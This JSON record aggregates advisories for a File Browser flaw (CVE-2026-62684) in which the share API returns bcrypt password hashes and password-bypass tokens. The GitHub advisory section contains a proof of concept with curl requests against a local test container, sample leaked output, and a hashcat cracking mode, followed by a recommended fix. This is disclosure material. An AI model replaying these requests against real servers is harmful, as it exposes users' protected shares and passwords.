{"id":"EUVD-2026-60961","revision":null,"records":[{"revision":"9b33f35d383144609cd88765a71a6555","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-62684","aliases":[],"title":"File Browser: Share API exposes the password hash and bypass token","description":"File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.17, the Link storage struct is serialized directly by sharePostHandler, shareListHandler, and shareGetsHandler through renderJSON, causing POST /api/share/{path} and GET /api/shares to expose password_hash and the bypass token, while an administrator can retrieve these secrets for every user's shares, enabling offline password cracking and direct access to protected shares. This issue is fixed in version 2.63.17.","state":0,"publishedAt":"2026-08-18T15:20:10.163+00:00","modifiedAt":"2026-08-18T17:46:42.863+00:00","affected":[{"ecosystem":"Vendor product","name":"filebrowser","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"filebrowser\",\n                    \"product\": \"filebrowser\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.63.17\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N","score":2.7,"severity":"LOW"}],"references":["https://github.com/filebrowser/filebrowser/security/advisories/GHSA-833g-cqhp-h72j","https://github.com/filebrowser/filebrowser/commit/ec130546713c44cd24556907552ac554c7f809c9","https://github.com/filebrowser/filebrowser/releases/tag/v2.63.17"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-62684","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-62684","identifiers":["CVE-2026-62684"]},"retained":false,"historicalAffected":[]},{"revision":"7b6b54361c6745c48e01f7713580fa87","observedAt":"2026-11-11T15:05:04.939+00:00","statement":{"source":"euvd","id":"EUVD-2026-60961","aliases":["CVE-2026-62684","GHSA-833g-cqhp-h72j"],"title":"File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.17, the Link storage struct is serialized directly by sharePostHandler, shareListHandler,…","description":"File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.17, the Link storage struct is serialized directly by sharePostHandler, shareListHandler, and shareGetsHandler through renderJSON, causing POST /api/share/{path} and GET /api/shares to expose password_hash and the bypass token, while an administrator can retrieve these secrets for every user's shares, enabling offline password cracking and direct access to protected shares. This issue is fixed in version 2.63.17.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N","score":2.7,"severity":null}],"references":["https://github.com/filebrowser/filebrowser/security/advisories/GHSA-833g-cqhp-h72j","https://github.com/filebrowser/filebrowser/commit/ec130546713c44cd24556907552ac554c7f809c9","https://github.com/filebrowser/filebrowser/releases/tag/v2.63.17"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-60961","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 18, 2026, 3:20:10 PM","dateUpdated":"Aug 18, 2026, 5:46:42 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-60961","identifiers":["EUVD-2026-60961","CVE-2026-62684","GHSA-833g-cqhp-h72j"]},"retained":false,"historicalAffected":[]},{"revision":"c837fb6e6e794b90b949ef479ec4ef39","observedAt":"2026-10-25T14:19:28.838+00:00","statement":{"source":"nvd","id":"CVE-2026-62684","aliases":[],"title":"File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.17, the Link storage struct is serialized directly by sharePostHandler, shareListHandler,…","description":"File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.17, the Link storage struct is serialized directly by sharePostHandler, shareListHandler, and shareGetsHandler through renderJSON, causing POST /api/share/{path} and GET /api/shares to expose password_hash and the bypass token, while an administrator can retrieve these secrets for every user's shares, enabling offline password cracking and direct access to protected shares. This issue is fixed in version 2.63.17.","state":0,"publishedAt":"2026-08-18T16:18:11.797+00:00","modifiedAt":"2026-09-18T20:09:01.757+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N","score":2.7,"severity":"LOW"}],"references":["https://github.com/filebrowser/filebrowser/commit/ec130546713c44cd24556907552ac554c7f809c9","https://github.com/filebrowser/filebrowser/releases/tag/v2.63.17","https://github.com/filebrowser/filebrowser/security/advisories/GHSA-833g-cqhp-h72j"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-62684","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-200","CWE-522"],"productCriteria":[],"sourceDates":{"published":"2026-08-18T16:18:11.797","lastModified":"2026-09-18T20:09:01.757"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-62684","identifiers":["CVE-2026-62684"]},"retained":false,"historicalAffected":[]},{"revision":"a922138790a1486fb9bf3ba8fba54482","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-833g-cqhp-h72j","aliases":["CVE-2026-62684","GO-2026-6025"],"title":"File Browser: Share API exposes the password hash and bypass token","description":"## Summary\n\nWhen a user creates a password-protected share or lists existing shares, the JSON response includes the full bcrypt `password_hash` and the secret `token` of the share. The `Link` storage struct is serialized directly with `json.Marshal` and tags `password_hash` and `token` for output, with no field filtering. Any authenticated user receives these secrets for their own shares, and an administrator listing all shares via `GET /api/shares` receives the password hash and bypass token for **every** user's shares, enabling offline cracking of share passwords and direct password-bypass access to protected shares.\n\n## Details\n\n**1. The `Link` struct serializes both secrets to JSON (`share/share.go:10-19`)**\n\n```go\ntype Link struct {\n    Hash         string `json:\"hash\" storm:\"id,index\"`\n    Path         string `json:\"path\" storm:\"index\"`\n    UserID       uint   `json:\"userID\"`\n    Expire       int64  `json:\"expire\"`\n    PasswordHash string `json:\"password_hash,omitempty\"`   // line 15, bcrypt hash exposed\n    // Token is only set when PasswordHash is set; it bypasses the password.\n    Token        string `json:\"token,omitempty\"`            // line 19, bypass token exposed\n}\n```\n\n`omitempty` means the hash and token are emitted whenever a share is password-protected, i.e. in every response for such a share.\n\n**2. The share handlers return the full struct through unfiltered `json.Marshal`**\n\n`sharePostHandler` returns the created `Link` with `renderJSON(w, r, s)` (`http/share.go:179`); `shareListHandler` and `shareGetsHandler` return shares the same way (`http/share.go:55`, `http/share.go:76`). `renderJSON` performs an unfiltered `json.Marshal(data)` (`http/utils.go:16`), so every tagged field, including `password_hash` and `token`, reaches the client.\n\n**3. Administrators receive every user's secrets (`http/share.go:36`)**\n\n```go\ns, err = d.store.Share.All()   // admin path: returns ALL users' shares\n// ...\nreturn renderJSON(w, r, s)     // including each share's password_hash and token\n```\n\nAn admin calling `GET /api/shares` receives the bcrypt hash and bypass token for all shares across all users.\n\n## PoC\n\nTested against `filebrowser/filebrowser:v2.63.15`.\n\n**Attack Vector: read the bcrypt hash and bypass token from the share API:**\n\n```bash\n#1. Seed a file in /tmp and start a fresh v2.63.15 container\nmkdir -p /tmp/filebrowser-test/srv/user1\necho \"hello\" > /tmp/filebrowser-test/srv/user1/readme.txt\ndocker run -d --name filebrowser-test -p 8090:80 -v /tmp/filebrowser-test/srv:/srv filebrowser/filebrowser:v2.63.15 && sleep 4\nB=http://localhost:8090\n\n#2. Log in as admin\nAP=$(docker logs filebrowser-test 2>&1 | grep -o 'password: .*' | awk '{print $2}')\nT=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d \"{\\\"username\\\":\\\"admin\\\",\\\"password\\\":\\\"$AP\\\"}\")\n\n#3. Create a password-protected share\ncurl -s -X POST \"$B/api/share/user1/readme.txt\" -H \"X-Auth: $T\" -H 'Content-Type: application/json' \\\n     -d '{\"password\":\"ShareSecret123!\",\"expires\":\"24\",\"unit\":\"hours\"}'\n\n#4. List shares (as admin this returns every user's shares, each with the bcrypt password_hash and bypass token)\ncurl -s \"$B/api/shares\" -H \"X-Auth: $T\"\n```\n\nThe returned bcrypt hash cracks offline (`hashcat -m 3200`) to recover the share password, and the `token` opens the protected share directly without the password.\n\nExpected output (reproduced on a fresh `filebrowser-test` container, v2.63.15):\n\nBoth the `POST /api/share/...` response and the `GET /api/shares` response return HTTP 200 with a body that includes the full bcrypt `password_hash` and the 128-character bypass `token`:\n\n```http\nPOST /api/share/user1/readme.txt   -> 200\nGET  /api/shares                   -> 200\n{\n  \"hash\": \"yy9159Cs\",\n  \"path\": \"/user1/readme.txt\",\n  \"userID\": 1,\n  \"expire\": 1781758642,\n  \"password_hash\": \"$2a$10$SX2h.eKiqMaThRTJNIKVxeVkbXSbGf5XoU0ZX2frcAasjE4RbvBla\",\n  \"token\": \"bO4YpOtayjDNG_72qYk6MHIIn0BNxskySLSAbinAkPcKZX6XD2rRrtDX8Bmro...\"\n}\n```\n\nThe hash cracks offline to the known password (`bcrypt.checkpw(b\"ShareSecret123!\", hash) == True`, `hashcat -m 3200`), and the `token` grants direct access to the password-protected share without knowing the password.\n\n## Impact\n\n- **Offline password cracking:** the bcrypt hash of every password-protected share is returned to clients; weak or reused share passwords can be recovered offline.\n- **Password-bypass token leak:** the `token` is the value that bypasses the share password entirely; exposing it in list responses lets any holder of the response open the protected share directly.\n- **Admin sees everyone's secrets:** `GET /api/shares` as an administrator returns the hash and token of every user's shares, broadening the exposure across all tenants.\n- **Credential reuse risk:** users who reuse an account or service password as a share password expose that password to offline recovery.\n\n## Recommended Fix\n\nNever serialize the hash or the bypass token to clients. Change the JSON tags so the secrets stay server-side:\n\n```go\n// share/share.go\ntype Link struct {\n    Hash         string `json:\"hash\" storm:\"id,index\"`\n    Path         string `json:\"path\" storm:\"index\"`\n    UserID       uint   `json:\"userID\"`\n    Expire       int64  `json:\"expire\"`\n    PasswordHash string `json:\"-\" storm:\"index\"`   // never serialize\n    Token        string `json:\"-\"`                 // never serialize in list responses\n}\n```\n\n`PasswordHash` and `Token` are only needed server-side (for `bcrypt.CompareHashAndPassword` and token comparison during share authentication). If a client needs to know whether a share is password-protected, expose a derived `HasPassword bool` instead of the hash. Prefer a response DTO over serializing the storage struct directly so future field additions are not exposed by default.","state":0,"publishedAt":"2026-07-20T22:17:56+00:00","modifiedAt":"2026-07-22T21:11:19.5694915+00:00","affected":[{"ecosystem":"Go","name":"github.com/filebrowser/filebrowser/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.63.17"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"LOW"}],"references":["https://github.com/filebrowser/filebrowser/security/advisories/GHSA-833g-cqhp-h72j","https://github.com/filebrowser/filebrowser"],"sourceUrl":"https://github.com/advisories/GHSA-833g-cqhp-h72j","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-833g-cqhp-h72j","identifiers":["GHSA-833g-cqhp-h72j","CVE-2026-62684","GO-2026-6025"]},"retained":false,"historicalAffected":[]},{"revision":"b5ed462e2edf43e1ab8c7f189a2c8a65","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6025","aliases":["CVE-2026-62684","GHSA-833g-cqhp-h72j"],"title":"File Browser: Share API exposes the password hash and bypass token in github.com/filebrowser/filebrowser","description":"File Browser: Share API exposes the password hash and bypass token in github.com/filebrowser/filebrowser","state":0,"publishedAt":"2026-07-22T20:36:35+00:00","modifiedAt":"2026-07-22T21:00:25.571874+00:00","affected":[{"ecosystem":"Go","name":"github.com/filebrowser/filebrowser","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/filebrowser/filebrowser/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.63.17"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/filebrowser/filebrowser/security/advisories/GHSA-833g-cqhp-h72j"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6025","license":"OSV · upstream source license applies","key":"osv:GO-2026-6025","identifiers":["GO-2026-6025","CVE-2026-62684","GHSA-833g-cqhp-h72j"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-13T04:18:36.4231440+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-13T04:18:36.423144+00:00","lastSuccessAt":"2026-11-13T04:18:36.6499472+00:00","error":null,"lastVerifiedAt":"2026-11-13T04:18:36.6499505+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-d8fa82e95fdb59244e2f635e667ba17f0796ca0a4f1f4bb8cc31febcd660b76c-eec2a7b6fa103d7adf500db624fb62eee17c31f1d368f8ffbfab89234260d0bb","complete":true,"records":424956,"lastAttemptAt":"2026-11-13T04:16:36.7627787+00:00","lastSuccessAt":"2026-11-13T04:16:36.734253+00:00","error":null,"lastVerifiedAt":"2026-11-13T04:16:36.7627787+00:00","snapshotPublishedAt":"2026-11-13T03:23:36+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-e04a199e7d564def944246e638d9fcaf","complete":false,"records":13793,"lastAttemptAt":"2026-11-13T04:28:27.2271603+00:00","lastSuccessAt":"2026-11-13T04:28:27.21+00:00","error":"466 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-13T04:28:27.21+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13347,"expectedIdentifiers":13846,"failedIdentifiers":466},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-13T04:18:36.4231440+00:00","complete":true,"records":1123,"lastAttemptAt":"2026-11-13T04:18:36.423144+00:00","lastSuccessAt":"2026-11-13T04:18:36.6506845+00:00","error":null,"lastVerifiedAt":"2026-11-13T04:18:36.6506847+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-77eeb9ad53d240dc91f8e3d507ac52a2","complete":true,"records":13781,"lastAttemptAt":"2026-11-13T04:18:42.8820004+00:00","lastSuccessAt":"2026-11-13T04:18:42.877+00:00","error":null,"lastVerifiedAt":"2026-11-13T04:18:42.877+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13846,"expectedIdentifiers":13846,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-93e76d404e1aeb6a7e8902f5ffa06211fc86dea3b1958e297abb2668aa5e6e8c","complete":true,"records":9952,"lastAttemptAt":"2026-11-13T04:18:36.3735153+00:00","lastSuccessAt":"2026-11-12T23:19:15.5239119+00:00","error":null,"lastVerifiedAt":"2026-11-13T04:18:36.3735153+00:00","snapshotPublishedAt":"2026-11-12T23:03:02+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-4d60731753a2f72e455d1086e7203d0ef10843936dcc1cf2b45135e2caa204b0","complete":true,"records":2012,"lastAttemptAt":"2026-11-13T04:16:36.9142039+00:00","lastSuccessAt":"2026-11-12T18:16:50.7862525+00:00","error":null,"lastVerifiedAt":"2026-11-13T04:16:36.9142039+00:00","snapshotPublishedAt":"2026-11-12T17:48:11+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-20d1a8ab073a1c13ab2143dbcadb34ebb8edf1e18e16482b448513662c3d1e12","complete":true,"records":3127,"lastAttemptAt":"2026-11-13T04:18:36.3861738+00:00","lastSuccessAt":"2026-11-12T22:18:31.0338213+00:00","error":null,"lastVerifiedAt":"2026-11-13T04:18:36.3861738+00:00","snapshotPublishedAt":"2026-11-12T22:18:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-f70b10812c5ddf50a1d5d3981278bc04de2258aeffba4d04b8366dfdb415cc24","complete":true,"records":231754,"lastAttemptAt":"2026-11-13T04:18:36.2431554+00:00","lastSuccessAt":"2026-11-13T04:18:34.7446316+00:00","error":null,"lastVerifiedAt":"2026-11-13T04:18:36.2431554+00:00","snapshotPublishedAt":"2026-11-13T03:47:53+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}